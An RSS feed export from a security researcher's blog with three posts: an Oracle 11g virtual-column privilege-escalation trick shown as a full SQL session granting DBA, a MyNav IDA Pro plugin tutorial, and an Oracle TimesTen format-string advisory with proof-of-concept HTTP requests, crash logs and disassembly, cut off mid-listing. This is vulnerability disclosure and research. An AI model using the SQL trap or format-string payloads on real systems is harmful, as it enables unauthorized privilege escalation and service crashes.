<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Unintended Results &#187; vulnerabilities</title>
	<atom:link href="http://joxeankoret.com/blog/category/vulnerabilities/feed/" rel="self" type="application/rss+xml" />
	<link>http://joxeankoret.com/blog</link>
	<description>Or maybe not</description>
	<lastBuildDate>Sun, 06 May 2012 08:20:31 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Dangers of Oracle Virtual Columns</title>
		<link>http://joxeankoret.com/blog/2010/05/14/dangers-of-oracle-virtual-columns/</link>
		<comments>http://joxeankoret.com/blog/2010/05/14/dangers-of-oracle-virtual-columns/#comments</comments>
		<pubDate>Fri, 14 May 2010 22:50:13 +0000</pubDate>
		<dc:creator>joxean</dc:creator>
				<category><![CDATA[Oracle]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[vulnerabilities]]></category>

		<guid isPermaLink="false">http://joxeankoret.com/blog/?p=144</guid>
		<description><![CDATA[Virtual Columns is a new feature of Oracle 11g. This feature allows to create table columns based on PL/SQL functions. While it's useful it can be dangerous too. What happens if someone creates a table column based on a "malicious" PL/SQL function? What happens when someone selects data from a table with a virtual column that [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://wiki.oracle.com/page/Virtual+Columns">Virtual Columns</a> is a new feature of Oracle 11g. This feature allows to create table columns based on PL/SQL functions. While it's useful it can be dangerous too.<br />
<span id="more-144"></span></p>
<p>What happens if someone creates a table column based on a "malicious" PL/SQL function? What happens when someone selects data from a table with a virtual column that executes a GRANT command? If the user executing the query is a normal user, the function will fail, however, if the user is privileged, the code will be executed and the DBA privilege will be granted to the user "JOXEAN", like in the following sample:</p>
<div class="geshi no sql">
<div class="head">SQL&gt; create user joxean identified by joxean;</div>
<ol>
<li class="li1">
<div class="de1">User created.</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">SQL&amp;gt; <span class="kw1">GRANT</span> connect, resource <span class="kw1">TO</span> joxean;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">GRANT</span> succeeded.</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">SQL&amp;gt; conn joxean/joxean</div>
</li>
<li class="li1">
<div class="de1">Connected.</div>
</li>
<li class="li1">
<div class="de1">SQL&amp;gt; <span class="kw1">CREATE</span> <span class="kw1">OR</span> <span class="kw1">REPLACE</span> <span class="kw1">FUNCTION</span> F1 <span class="br0">&#40;</span>p_value <span class="kw1">IN</span> VARCHAR2<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">RETURN</span> VARCHAR2 AUTHID CURRENT_USER deterministic</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">AS</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; PRAGMA AUTONOMOUS_TRANSACTION;</div>
</li>
<li class="li1">
<div class="de1">BEGIN</div>
</li>
<li class="li1">
<div class="de1">&nbsp; EXECUTE IMMEDIATE <span class="st0">&#39;grant dba to joxean&#39;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">RETURN</span> <span class="st0">&#39;1&#39;</span>;</div>
</li>
<li class="li1">
<div class="de1">END F1;</div>
</li>
<li class="li1">
<div class="de1">/</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">FUNCTION</span> created.</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">SQL&amp;gt; <span class="kw1">CREATE</span> <span class="kw1">TABLE</span> t2</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; col1 VARCHAR2<span class="br0">&#40;</span><span class="nu0">50</span><span class="br0">&#41;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; col2 generated always <span class="kw1">AS</span> <span class="br0">&#40;</span>f1<span class="br0">&#40;</span><span class="st0">&#39;asdf&#39;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> virtual</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">TABLE</span> created.</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">SQL&amp;gt; <span class="kw1">SELECT</span> * <span class="kw1">FROM</span> t2;</div>
</li>
<li class="li1">
<div class="de1">no rows selected</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">SQL&amp;gt; <span class="kw1">INSERT</span> <span class="kw1">INTO</span> t2 <span class="br0">&#40;</span>col1<span class="br0">&#41;</span> <span class="kw1">VALUES</span> <span class="br0">&#40;</span> <span class="st0">&#39;a&#39;</span> <span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">1</span> row created.</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">SQL&amp;gt; commit;</div>
</li>
<li class="li1">
<div class="de1">Commit complete.</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">SQL&amp;gt; <span class="kw1">SELECT</span> * <span class="kw1">FROM</span> t2;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">SELECT</span> * <span class="kw1">FROM</span> t2</div>
</li>
<li class="li1">
<div class="de1">*</div>
</li>
<li class="li1">
<div class="de1">ERROR at line <span class="nu0">1</span>:</div>
</li>
<li class="li1">
<div class="de1">ORA<span class="nu0">-01031</span>: insufficient privileges</div>
</li>
<li class="li1">
<div class="de1">ORA<span class="nu0">-06512</span>: at <span class="st0">&quot;JOXEAN.F1&quot;</span>, line <span class="nu0">6</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">SQL&amp;gt; <span class="kw1">SELECT</span> * <span class="kw1">FROM</span> user_role_privs;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">USERNAME &nbsp; &nbsp; &nbsp; &nbsp; GRANTED_ROLE &nbsp; &nbsp; &nbsp; &nbsp;ADM DEF OS_</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">------------------------------ ------------------------------ --- --- ---</span></div>
</li>
<li class="li1">
<div class="de1">JOXEAN &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;CONNECT &nbsp; &nbsp; &nbsp; &nbsp; NO &nbsp;YES NO</div>
</li>
<li class="li1">
<div class="de1">JOXEAN &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;RESOURCE &nbsp; &nbsp; &nbsp; &nbsp; NO &nbsp;YES NO</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">SQL&amp;gt; conn / <span class="kw1">AS</span> sysdba</div>
</li>
<li class="li1">
<div class="de1">Connected.</div>
</li>
<li class="li1">
<div class="de1">SQL&amp;gt; <span class="kw1">SELECT</span> * <span class="kw1">FROM</span> joxean.t2;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">COL1 &nbsp; COL2</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">----- -----</span></div>
</li>
<li class="li1">
<div class="de1">a &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu0">1</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">SQL&amp;gt; <span class="kw1">SELECT</span> * <span class="kw1">FROM</span> dba_role_privs <span class="kw1">WHERE</span> grantee <span class="sy0">=</span> <span class="st0">&#39;JOXEAN&#39;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">GRANTEE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;GRANTED_ROLE &nbsp; &nbsp; &nbsp; &nbsp;ADM DEF</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">------------------------------ ------------------------------ --- ---</span></div>
</li>
<li class="li1">
<div class="de1">JOXEAN &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;RESOURCE &nbsp; &nbsp; &nbsp; &nbsp; NO &nbsp;YES</div>
</li>
<li class="li1">
<div class="de1">JOXEAN &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;DBA &nbsp; &nbsp; &nbsp; &nbsp; NO &nbsp;YES</div>
</li>
<li class="li1">
<div class="de1">JOXEAN &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;CONNECT &nbsp; &nbsp; &nbsp; &nbsp; NO &nbsp;YES</div>
</li>
</ol>
</div>
<p>While it isn't a big issue it can be used as a "logical bomb" by an atacker with CREATE TABLE privileges: Simply create a table with an interesting name and wait for DBA to select data from this table <img src='http://joxeankoret.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  Oh! By the way, to create a permanent table you only need to have the privilege to create a temporary table... But this is another history <img src='http://joxeankoret.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://joxeankoret.com/blog/2010/05/14/dangers-of-oracle-virtual-columns/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>MyNav, a python plugin for IDA Pro</title>
		<link>http://joxeankoret.com/blog/2010/05/02/mynav-a-python-plugin-for-ida-pro/</link>
		<comments>http://joxeankoret.com/blog/2010/05/02/mynav-a-python-plugin-for-ida-pro/#comments</comments>
		<pubDate>Sun, 02 May 2010 15:28:53 +0000</pubDate>
		<dc:creator>joxean</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[vulnerabilities]]></category>

		<guid isPermaLink="false">http://joxeankoret.com/blog/?p=146</guid>
		<description><![CDATA[MyNav is an Open Source IDAPython plugin for the commercial disassembler IDA Pro to be released on July 2010. The plugin adds a lot of new features only available in other products like in the well known Zynamics BinNavi or HB Gary's Inspector. In this blog post I will show you some of the features [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://code.google.com/p/mynav" target="_blank">MyNav</a> is an <a href="http://en.wikipedia.org/wiki/Open_Source" target="_blank">Open Source</a> <a href="http://code.google.com/p/idapython/" target="_blank">IDAPython</a> plugin for the commercial disassembler <a href="http://www.hex-rays.com/" target="_blank">IDA Pro</a> to be released on July 2010. The plugin adds a lot of new features only available in other products like in the well known <a href="http://www.zynamics.com" target="_blank">Zynamics</a> <a href="http://www.zynamics.com/binnavi.html" target="_blank">BinNavi</a> or <a href="http://www.hbgary.com/" target="_blank">HB Gary</a>'s Inspector. In this blog post I will show you some of the features available in the current version with some examples.<br />
<span id="more-146"></span><br />
<strong>Function's browser</strong></p>
<p>The navigator is good to get an idea about what a function does as we can see and browse in a user-friendly GUI all the functions executed from one specific point. For example, open the typical windows binary calc.exe in IDA Pro, wait until the initial analysis ends, run the script mynav.py in IDA and jump to the function "?CalcWndProc@@YGJPAUHWND__@@IIJ@Z" (at address 0x01006118 in Windows XP SP 3). Now, select Edit-&gt;Plugins-&gt;MyNav - Browse Function. A new dialog box will appear asking for the maximum recursion level, enter the number 1 and click OK. The following (browseable) graph will appear:</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/browse-calcwndproc.png"><img class="aligncenter size-full wp-image-161" title="Browsing CalcWndProc" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/browse-calcwndproc.png" alt="" width="1280" height="998" /></a></p>
<p>Depending on the selected maximum recursion level, some child nodes will be hidden like, for example, the childs nodes of the function "?SetRadix@@YGXK@Z". To see the hidden nodes simply double clik in the node with text "(8 more nodes)". The following graph will appear:</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/browse-childs.png"><img class="aligncenter size-full wp-image-162" title="Browse childs" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/browse-childs.png" alt="" width="1280" height="997" /></a></p>
<p>In this graph we can see what functions are executed from the "SetRadix" one. We can continue browsing the graph entering and leaving in some other functions but, what if I want to see what API calls are executed from an specific function? To open a browseable graph showing API calls select in the IDA's disassembly view the desired function (for example, the function at address 0x010022F9 in Windows XP SP3 -?CIO_vConvertToString@@YGXPAPAGPAUCALCINPUTOBJ@@H@Z-) and select Edit-&gt;Plugins-&gt;MyNav - Browse functions (show APIs), leave the default maximum recursion level and click OK. The browseable graph bellow will appear:</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/browse-api-calls.png"><img class="aligncenter size-full wp-image-163" title="Browse showing APIs" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/browse-api-calls.png" alt="" width="833" height="469" /></a></p>
<p>Taking a look to this graph we can "abstractly" see what the function ConvertToString does.</p>
<p><strong>Code path searching</strong></p>
<p>One of the most typical tasks when looking for vulnerabilities is to find a code path between data entry points (functions where you can insert data) and some target functions (vulnerable ones). With MyNav we can search automatically for code paths between 2 functions with just a few clicks. For example, continuing with the Windows calculator, we will search code paths from "WinMain" and "EverythingResettingNumberSetup" so, select Edit-&gt;Plugins-&gt;MyNav - Show code paths between 2 functions. A dialog box showing all the binary's functions will be shown:</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/function-select.png"><img class="aligncenter size-full wp-image-164" title="Select function" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/function-select.png" alt="" /></a></p>
<p>In this dialog box select the starting point (WinMain) and click OK, the same dialog will appear again asking for the target function, select "EverythingResettingNumberSetup" and click OK. The following graph will appear:</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/show-codepaths.png"><img class="aligncenter size-full wp-image-165" title="Code paths" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/show-codepaths.png" alt="" width="1280" height="995" /></a></p>
<p><strong>Differential debugging usage example: notepad<br />
</strong></p>
<p>In this example we will discover and analyze the code responsible for opening a file in notepad. Run IDA Pro and open the notepad.exe binary. Wait until the initial analysis finishes and, after it, run the script mynav.py in IDA. A lot of new menus will be added under Edit-&gt;Plugins as shown bellow:</p>
<p style="text-align: center;"><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/menus.png"><img class="size-medium wp-image-147 aligncenter" title="Menus" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/menus-300x263.png" alt="" width="300" height="263" /></a></p>
<p>Now, select a debugger from the debugger dropdown list and select from Edit-&gt;Plugins menu the option called "MyNav - New session". A dialog box asking for a session's name will appear. Enter a meaningfull name like "GuiNoise" or something like this as we will be recording the code responsible of GUI painting, uninteresting for our goal (discover the code executed when we open a file inside notepad).</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/session-name.png"><img class="aligncenter size-full wp-image-149" title="session-name" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/session-name.png" alt="" width="650" height="115" /></a></p>
<p>Press OK and a message box saying that there is no breakpoint set will appear. Answer "Yes" and MyNav will set a breakpoint in every function and start the debuggger. While the application is running move the window, minimize, maximize, restore it, popup the contextual menus and close the application when done. When debugging stops, a graph showing all the executed functions will appear:</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/gui-noise.png"><img class="aligncenter size-full wp-image-150" title="GUI noise" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/gui-noise.png" alt="" width="1280" height="994" /></a></p>
<p>This callgraph shows all the functions executed and the relationships between them. All the breakpoints sets in a function that was executed in this session were removed after the first hit so we will not stop again in the GUI related code. Now, record another session, select Edit-&gt;Plugin-&gt;MyNav - New session and enter the name "FileOpenDialog". When the debugger starts select in notepad "File-&gt;Open" and cancel the dialog box. Select again in notepad "File-&gt;Open" but this time select a file to open. When done, close the application and the following callgraph will appear:</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/file-open-callgraph.png"><img class="aligncenter size-full wp-image-152" title="File open callgraph" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/file-open-callgraph.png" alt="" width="1024" height="579" /></a></p>
<p>This time only 7 functions appeared, those responsible of showing the file open dialog box and opening the file. The notepad.exe binary contains 88 functions and we discovered in a few seconds the interesting functions. Now, it's time to discover the exact code executed when I cancel the dialog box and when I select a file to open so, select Edit-&gt;Plugins-&gt;MyNav - Trace in session and a dialog box will appear showing all the recorded session. Select the session named "FileOpen" in the dialog shown bellow:</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/active-sessions.png"><img class="aligncenter size-full wp-image-154" title="Sessions" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/active-sessions.png" alt="" width="400" height="205" /><br />
</a></p>
<p>After it, the typical dialog box asking for a sessions name will appear. Enter the name "TraceFileOpenCancel", click OK and the debugger starts. When notepad is opened, select File-&gt;Open, cancel the dialog box and close the application.</p>
<p style="text-align: center;"><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/trace-fileopen-cancel.png"><img class="aligncenter size-full wp-image-155" title="Trace file open cancel" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/trace-fileopen-cancel.png" alt="" width="1280" height="995" /></a></p>
<p>The colored basic blocks are those executed when we cancelled the dialog box. Now, we will trace again the same session but this time opening a file so, select Edit-&gt;Plugins-&gt;MyNav - Trace in session, select the session named "FileOpen" and enter the name "TraceFileOpen". When debugger starts the application select File-&gt;Open and open a file. When done, close notepad and the following code will be shown:</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/trace-fileopen.png"><img class="aligncenter size-full wp-image-157" title="Trace file open" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/trace-fileopen.png" alt="" width="1280" height="996" /></a></p>
<p>The new color shows the basic blocks executed this time. If we want, we can see the differences between the 2 sessions. Select Edit-&gt;Plugins-&gt;MyNav - Show step trace session and a dialog box showing a list of all the recorded trace sessions will appear. Select the trace session called "TraceFileOpenCancel" and click OK. Notice the change in the graph:</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/session-traces.png"><img class="aligncenter size-full wp-image-158" title="Sessions intersection" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/session-traces.png" alt="" width="1280" height="996" /></a></p>
<p>In about 5 minutes we discovered the functions and the instructions executed when we cancel the file open dialog box and when we open a file. It was easy, wasn't it? <img src='http://joxeankoret.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><strong>Final Notes</strong></p>
<p>MyNav will be released in July 2010 and the code will be uploaded to the <a href="http://code.google.com/p/mynav">project page</a> at <a href="http://code.google.com" target="_blank">Google Code</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://joxeankoret.com/blog/2010/05/02/mynav-a-python-plugin-for-ida-pro/feed/</wfw:commentRss>
		<slash:comments>42</slash:comments>
		</item>
		<item>
		<title>Oracle TimesTen Remote Format String</title>
		<link>http://joxeankoret.com/blog/2009/01/14/oracle-timesten-remote-format-string/</link>
		<comments>http://joxeankoret.com/blog/2009/01/14/oracle-timesten-remote-format-string/#comments</comments>
		<pubDate>Wed, 14 Jan 2009 08:35:24 +0000</pubDate>
		<dc:creator>joxean</dc:creator>
				<category><![CDATA[advisories]]></category>
		<category><![CDATA[Oracle]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[vulnerabilities]]></category>

		<guid isPermaLink="false">http://joxeankoret.com/blog/?p=41</guid>
		<description><![CDATA[Product Description Oracle TimesTen provides a family of real-time infrastructure software products designed for low latency, high-volume data, event and transaction management. Summary The Oracle January 2009 Critical Patch Update fixes a vulnerability which allows a remote preauthenticated attacker to execute arbitrary code in the context of the user running Oracle TimesTen server. Affected versions [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Product Description</strong></p>
<p>Oracle TimesTen provides a family of real-time infrastructure software products designed for low latency, high-volume data, event and transaction management.</p>
<p><strong>Summary</strong></p>
<p>The Oracle January 2009 Critical Patch Update fixes a vulnerability which allows a remote preauthenticated attacker to execute arbitrary code in the context of the user running Oracle TimesTen server.</p>
<p><strong>Affected versions</strong></p>
<p>Oracle TimesTen prior to version 7.0.5.1.0.</p>
<p><strong>Vulnerability</strong></p>
<p>Oracle TimesTen's timestend daemon is a simple web server that process the commands received from clients. Many of these commands are used without being authenticated, i.e., without the need for a username and password.</p>
<p>The command "evtdump" dumps to the internal log file the contents of an internal data structure. The pseudo-cgi evtdump only receives one parameter, called msg. The parameter "msg" is a text that will be printed to the log file before dumping the internal structure.</p>
<p>This parameter is vulnerable to a format string attack which leads to remote code execution before being authenticated. The vulnerability have been tested in Linux environments, although it appears to be vulnerable in all the supported platforms.</p>
<p>The following is an extract of a communication between a custom client and the timestend daemon (the output from the server is shown in the file /var/TimesTen/log/ttmesg.log in Unix and GNU/Linux environments):</p>
<p>FROM CLIENT:</p>
<p>GET evtdump?msg=AAAA%2510$x%25s HTTP/1.0\r\n\r\n</p>
<p>AT SERVER:</p>
<p>(...)<br />
# cat /var/TimesTen/log/ttmesg.log<br />
(...)<br />
19:05:07.01 Info:    : 18225: maind 22: socket closed, calling recovery (last cmd was 25)<br />
19:05:19.07 Info:    : 18225: AAAA80a8a0c(null)<br />
19:05:19.07 Info:    : 18225: mode     :  TTDL_NORMAL<br />
19:05:19.07 Info:    : 18225: ctlfilename :  ''<br />
19:05:19.07 Info:    : 18225: lineno   :  0<br />
19:05:19.07 Info:    : 18225: nitems   :  7<br />
19:05:19.07 Info:    : 18225: maxitems :  32<br />
19:05:19.07 Info:    : 18225: cur_path :  (null)<br />
19:05:19.07 Info:    : 18225: lineno   :  0<br />
19:05:19.07 Info:    : 18225: items    :<br />
19:05:19.07 Info:    : 18225:   item # 0  :<br />
19:05:19.07 Info:    : 18225:     comp     : ALL<br />
19:05:19.07 Info:    : 18225:     level    : 3<br />
19:05:19.07 Info:    : 18225:     dsname   : (null)<br />
(...)</p>
<p>FROM CLIENT:</p>
<p>GET evtdump?msg=AAAA%2510$x%25s%25s%25s HTTP/1.0</p>
<p>AT SERVER:</p>
<p>(...)<br />
# cat /var/TimesTen/log/ttmesg.log<br />
19:05:19.08 Info:    : 18225: maind 23: socket closed, calling recovery (last cmd was 26)<br />
19:06:18.49 Info:    : 18225: AAAA80a8a0c(null)(null)<br />
19:06:18.49 Info:    : 18225: mode     :  TTDL_NORMAL<br />
19:06:18.49 Info:    : 18225: ctlfilename :  ''<br />
19:06:18.49 Info:    : 18225: lineno   :  0<br />
19:06:18.49 Info:    : 18225: nitems   :  7<br />
19:06:18.49 Info:    : 18225: maxitems :  32<br />
19:06:18.49 Info:    : 18225: cur_path :  (null)<br />
19:06:18.49 Info:    : 18225: lineno   :  0<br />
19:06:18.49 Info:    : 18225: items    :<br />
19:06:18.49 Info:    : 18225:   item # 0  :<br />
19:06:18.49 Info:    : 18225:     comp     : ALL<br />
19:06:18.49 Info:    : 18225:     level    : 3<br />
19:06:18.49 Info:    : 18225:     dsname   : (null)<br />
(...)</p>
<p>FROM CLIENT:</p>
<p>GET evtdump?msg=AAAA%25n HTTP/1.0</p>
<p>AT SERVER:</p>
<p>(...)<br />
# cat /var/TimesTen/log/ttmesg.log<br />
19:07:38.87 Err :    : 18782: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished<br />
19:07:38.87 Err :    : 18785: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished<br />
19:07:38.87 Err :    : 18788: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished<br />
19:07:38.87 Err :    : 18791: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished<br />
19:07:38.87 Info: SRV: 18800: EventID=99| TimesTen daemon has disconnected, server is exiting...<br />
19:07:39.54 Info:    : 18785: Listener terminating<br />
19:07:39.54 Info:    : 18785: Listener exited, termination finishing<br />
19:07:39.54 Info:    : 18785: Process termination complete<br />
19:07:39.59 Info:    : 18791: Listener terminating<br />
19:07:39.59 Info:    : 18782: Listener terminating<br />
19:07:39.59 Info:    : 18788: Listener terminating<br />
19:07:39.59 Info:    : 18791: Listener exited, termination finishing<br />
19:07:39.59 Info:    : 18791: Process termination complete<br />
19:07:39.59 Info:    : 18782: Listener exited, termination finishing<br />
19:07:39.59 Info:    : 18782: Process termination complete<br />
19:07:39.59 Info:    : 18788: Listener exited, termination finishing<br />
19:07:39.59 Info:    : 18788: Process termination complete<br />
19:07:40.59 Info: SRV: 18800: EventID=2| TimesTen Server is stopping<br />
19:07:40.59 Info: SRV: 18800: EventID=99| Server trying to stop child server processes<br />
19:07:40.59 Info: SRV: 18800: EventID=11| Main Server cleaned up all child server processes and exiting<br />
(...)</p>
<p>The last msg parameter's value crashes the timestend daemon. Attaching with a debugger to the timestend daemon we can see the following dump when it crashes:</p>
<p>$ sudo /etc/init.d/tt_70 start &amp;<br />
(...)<br />
$ sudo gdb attach `cat /var/TimesTen/tt70/timestend.pid`<br />
(...)<br />
(gdb) c<br />
(...)<br />
Program received signal SIGSEGV, Segmentation fault.<br />
[Switching to Thread -1223386192 (LWP 18980)]<br />
0xb76cf5c6 in vfprintf () from /lib/tls/i686/cmov/libc.so.6<br />
(gdb) where<br />
#0  0xb76cf5c6 in vfprintf () from /lib/tls/i686/cmov/libc.so.6<br />
#1  0xb76eca36 in vsnprintf () from /lib/tls/i686/cmov/libc.so.6<br />
#2  0xb7826ddb in ttc_vsnprintf () from /opt/TimesTen/tt70/lib/libttco.so<br />
#3  0x0807689f in ttdLogDump ()<br />
#4  0x0805b138 in daHandler ()<br />
#5  0x08073789 in handlerThread ()<br />
#6  0xb77e7341 in start_thread () from /lib/tls/i686/cmov/libpthread.so.0<br />
#7  0xb775a4ee in clone () from /lib/tls/i686/cmov/libc.so.6<br />
(gdb) i r<br />
eax            0x0      0<br />
ecx            0x4      4<br />
edx            0x0      0<br />
ebx            0xb77bbadc       -1216628004<br />
esp            0xb71480c0       0xb71480c0<br />
ebp            0xb71486e0       0xb71486e0<br />
esi            0x0      0<br />
edi            0xb714895c       -1223390884<br />
eip            0xb76cf5c6       0xb76cf5c6 &lt;vfprintf+14038&gt;<br />
(...)</p>
<p>The function ttdLogDump is called from daHandler as you can see in the backtrace. This function is the main handler for the internal timestend's web server. This is the vulnerable function, ttdLogDump, which receives one argument (the msg parameter to the evtdump pseudo cgi):</p>
<div class="geshi no asm">
<div class="head">.text:0807686D ttdLogDump      proc near               ; CODE XREF: daHandler+5F3p</div>
<ol>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span>...<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">.text:<span class="nu0">08076879</span>                 <span class="kw1">lea</span>     <span class="kw3">eax</span>, <span class="br0">&#91;</span><span class="kw3">ebp</span>+argRet<span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">.text:0807687C                 <span class="kw1">push</span>    <span class="kw3">eax</span></div>
</li>
<li class="li1">
<div class="de1">.text:0807687D                 <span class="kw1">push</span>    <span class="br0">&#91;</span><span class="kw3">ebp</span>+argMsg<span class="br0">&#93;</span> <span class="co1">; User controlled string buffer</span></div>
</li>
<li class="li1">
<div class="de1">.text:<span class="nu0">08076880</span>                 <span class="kw1">push</span>    <span class="nu0">0</span></div>
</li>
<li class="li1">
<div class="de1">.text:<span class="nu0">08076882</span>                 <span class="kw1">push</span>    <span class="nu0">1</span><span class="re0">00h</span></div>
</li>
<li class="li1">
<div class="de1">.text:<span class="nu0">08076887</span>                 <span class="kw1">lea</span>     <span class="kw3">esi</span>, <span class="br0">&#91;</span><span class="kw3">ebp</span>+buf<span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">.text:0807688D                 <span class="kw1">call</span>    $<span class="nu0">+5</span></div>
</li>
<li class="li1">
<div class="de1">.text:<span class="nu0">08076892</span>                 <span class="kw1">pop</span>     <span class="kw3">ebx</span></div>
</li>
<li class="li1">
<div class="de1">.text:<span class="nu0">08076893</span>                 <span class="kw1">add</span>     <span class="kw3">ebx</span>, 3217Ah</div>
</li>
<li class="li1">
<div class="de1">.text:<span class="nu0">08076899</span>                 <span class="kw1">push</span>    <span class="kw3">esi</span></div>
</li>
<li class="li1">
<div class="de1">.text:0807689A                 <span class="kw1">call</span>    _ttc_vsnprintf</div>
</li>
</ol>
</div>
<p>The function ttc_vsnprintf makes a call internally to the vsnprintf function (in the library /opt/TimesTen/tt70/lib/libttco.so) passing as the buffer to be printed the user supplied value passed to the "msg" argument:</p>
<div class="geshi no sql">
<div class="head">.text:0001ADAA ttc_vsnprintf   proc near               ; CODE XREF: msgbuf_error+73p</div>
<ol>
<li class="li1">
<div class="de1">.text:0001ADAA                                         ; opt_error<span class="nu0">+83</span>p ...</div>
</li>
<li class="li1">
<div class="de1">.text:0001ADAA</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span>...<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">.text:0001ADCE                 push    <span class="br0">&#91;</span>ebp+arg<span class="br0">&#93;</span>       ; arg</div>
</li>
<li class="li1">
<div class="de1">.text:0001ADD1                 push    <span class="br0">&#91;</span>ebp+argFormat<span class="br0">&#93;</span> ; format</div>
</li>
<li class="li1">
